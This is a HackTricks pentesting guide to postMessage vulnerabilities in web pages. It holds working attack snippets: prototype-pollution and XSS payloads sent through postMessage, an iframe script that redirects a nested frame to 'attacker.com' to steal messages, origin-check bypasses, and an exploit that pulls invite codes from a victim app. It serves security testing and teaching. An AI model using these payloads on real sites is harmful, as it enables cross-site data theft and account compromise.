hacktricks/pentesting-web/postmessage-vulnerabilities/README.md
Carlos Polop a268747dc2 A
2024-02-09 08:14:36 +01:00

251 lines
14 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# PostMessage Vulnerabilities
## PostMessage Vulnerabilities
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
## Send **PostMessage**
**PostMessage** uses the following function to send a message:
```bash
targetWindow.postMessage(message, targetOrigin, [transfer]);
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
```
Note that **targetOrigin** can be a '\*' or an URL like _https://company.com._\
In the **second scenario**, the **message can only be sent to that domain** (even if the origin of the window object is different).\
If the **wildcard** is used, **messages could be sent to any domain**, and will be sent to the origin of the Window object.
### Attacking iframe & wildcard in **targetOrigin**
As explained in [**this report**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) if you find a page that can be **iframed** (no `X-Frame-Header` protection) and that is **sending sensitive** message via **postMessage** using a **wildcard** (\*), you can **modify** the **origin** of the **iframe** and **leak** the **sensitive** message to a domain controlled by you.\
Note that if the page can be iframed but the **targetOrigin** is **set to a URL and not to a wildcard**, this **trick won't work**.
```markup
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
```
## addEventListener exploitation
**`addEventListener`** is the function used by JS to declare the function that is **expecting `postMessages`**.\
A code similar to the following one will be used:
```javascript
window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;
// ...
}, false);
```
Note in this case how the **first thing** that the code is doing is **checking the origin**. This is terribly **important** mainly if the page is going to do **anything sensitive** with the received information (like changing a password). **If it doesn't check the origin, attackers can make victims send arbitrary data to this endpoints** and change the victims passwords (in this example).
### Enumeration
In order to **find event listeners** in the current page you can:
* **Search** the JS code for `window.addEventListener` and `$(window).on` (_JQuery version_)
* **Execute** in the developer tools console: `getEventListeners(window)`
![](<../../.gitbook/assets/image (618) (1) (1).png>)
* **Go to** _Elements --> Event Listeners_ in the developer tools of the browser
![](<../../.gitbook/assets/image (617).png>)
* Use a **browser extension** like [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) or [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). This browser extensions will **intercept all the messages** and show them to you.
### Origin check bypasses
- **`event.isTrusted`** attribute is considered secure as it returns `True` only for events that are generated by genuine user actions. Though it's challenging to bypass if implemented correctly, its significance in security checks is notable.
- The use of **`indexOf()`** for origin validation in PostMessage events may be susceptible to bypassing. An example illustrating this vulnerability is:
```javascript
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
```
- The **`search()`** method from `String.prototype.search()` is intended for regular expressions, not strings. Passing anything other than a regexp leads to implicit conversion to regex, making the method potentially insecure. This is because in regex, a dot (.) acts as a wildcard, allowing for bypassing of validation with specially crafted domains. For instance:
```javascript
"https://www.safedomain.com".search("www.s.fedomain.com")
```
- The **`match()`** function, similar to `search()`, processes regex. If the regex is improperly structured, it might be prone to bypassing.
- The **`escapeHtml`** function is intended to sanitize inputs by escaping characters. However, it does not create a new escaped object but overwrites the properties of the existing object. This behavior can be exploited. Particularly, if an object can be manipulated such that its controlled property does not acknowledge `hasOwnProperty`, the `escapeHtml` won't perform as expected. This is demonstrated in the examples below:
- Expected Failure:
```javascript
result = u({
message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"
```
- Bypassing the escape:
```javascript
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"
```
In the context of this vulnerability, the `File` object is notably exploitable due to its read-only `name` property. This property, when used in templates, is not sanitized by the `escapeHtml` function, leading to potential security risks.
- The `document.domain` property in JavaScript can be set by a script to shorten the domain, allowing for more relaxed same-origin policy enforcement within the same parent domain.
### e.origin == window.origin bypass
When embedding a web page within a **sandboxed iframe** using %%%<iframe sandbox="allow-scripts" src="https://example.com/iframe.php">%%%, it's crucial to understand that the iframe's origin will be set to `null`. This is particularly important when dealing with **sandbox attributes** and their implications on security and functionality.
By specifying **`allow-popups`** in the sandbox attribute, any popup window opened from within the iframe inherits the sandbox restrictions of its parent. This means that unless the **`allow-popups-to-escape-sandbox`** attribute is also included, the popup window's origin is similarly set to `null`, aligning with the iframe's origin.
Consequently, when a popup is opened under these conditions and a message is sent from the iframe to the popup using **`postMessage`**, both the sending and receiving ends have their origins set to `null`. This situation leads to a scenario where **`e.origin == window.origin`** evaluates to true (`null == null`), because both the iframe and the popup share the same origin value of `null`.
For more information **read**:
{% content-ref url="bypassing-sop-with-iframes-1.md" %}
[bypassing-sop-with-iframes-1.md](bypassing-sop-with-iframes-1.md)
{% endcontent-ref %}
### Bypassing e.source
It's possible to check if the message came from the same window the script is listening in (specially interesting for **Content Scripts from browser extensions** to check if the message was sent from the same page):
```javascript
// If its not, return immediately.
if( received_message.source !== window ) {
return;
}
```
You can force **`e.source`** of a message to be null by creating an **iframe** that **sends** the **postMessage** and is **immediately deleted**.
For more information **read:**
{% content-ref url="bypassing-sop-with-iframes-2.md" %}
[bypassing-sop-with-iframes-2.md](bypassing-sop-with-iframes-2.md)
{% endcontent-ref %}
### X-Frame-Header bypass
In order to perform these attacks ideally you will be able to **put the victim web page** inside an `iframe`. But some headers like `X-Frame-Header` can **prevent** that **behaviour**.\
In those scenarios you can still use a less stealthy attack. You can open a new tab to the vulnerable web application and communicate with it:
```markup
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
```
### Stealing message sent to child by blocking the main page
In the following page you can see how you could steal a **sensitive postmessage data** sent to a **child iframe** by **blocking** the **main** page before sending the data and abusing a **XSS in the child** to **leak the data** before it's received:
{% content-ref url="blocking-main-page-to-steal-postmessage.md" %}
[blocking-main-page-to-steal-postmessage.md](blocking-main-page-to-steal-postmessage.md)
{% endcontent-ref %}
### Stealing message by modifying iframe location
If you can iframe a webpage without X-Frame-Header that contains another iframe, you can **change the location of that child iframe**, so if it's receiving a **postmessage** sent using a **wildcard**, an attacker could **change** that iframe **origin** to a page **controlled** by him and **steal** the message:
{% content-ref url="steal-postmessage-modifying-iframe-location.md" %}
[steal-postmessage-modifying-iframe-location.md](steal-postmessage-modifying-iframe-location.md)
{% endcontent-ref %}
### postMessage to Prototype Pollution and/or XSS
In scenarios where the data sent through `postMessage` is executed by JS, you can **iframe** the **page** and **exploit** the **prototype pollution/XSS** sending the exploit via `postMessage`.
A couple of **very good explained XSS though `postMessage`** can be found in [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html)
Example of an exploit to abuse **Prototype Pollution and then XSS** through a `postMessage` to an `iframe`:
```html
<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}
setTimeout(get_code, 2000);
</script>
</body>
</html>
```
For **more information**:
* Link to page about [**prototype pollution**](../deserialization/nodejs-proto-prototype-pollution/)
* Link to page about [**XSS**](../xss-cross-site-scripting/)
* Link to page about [**client side prototype pollution to XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
## References
* [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html)
* [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd)
* To practice: [https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon)
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>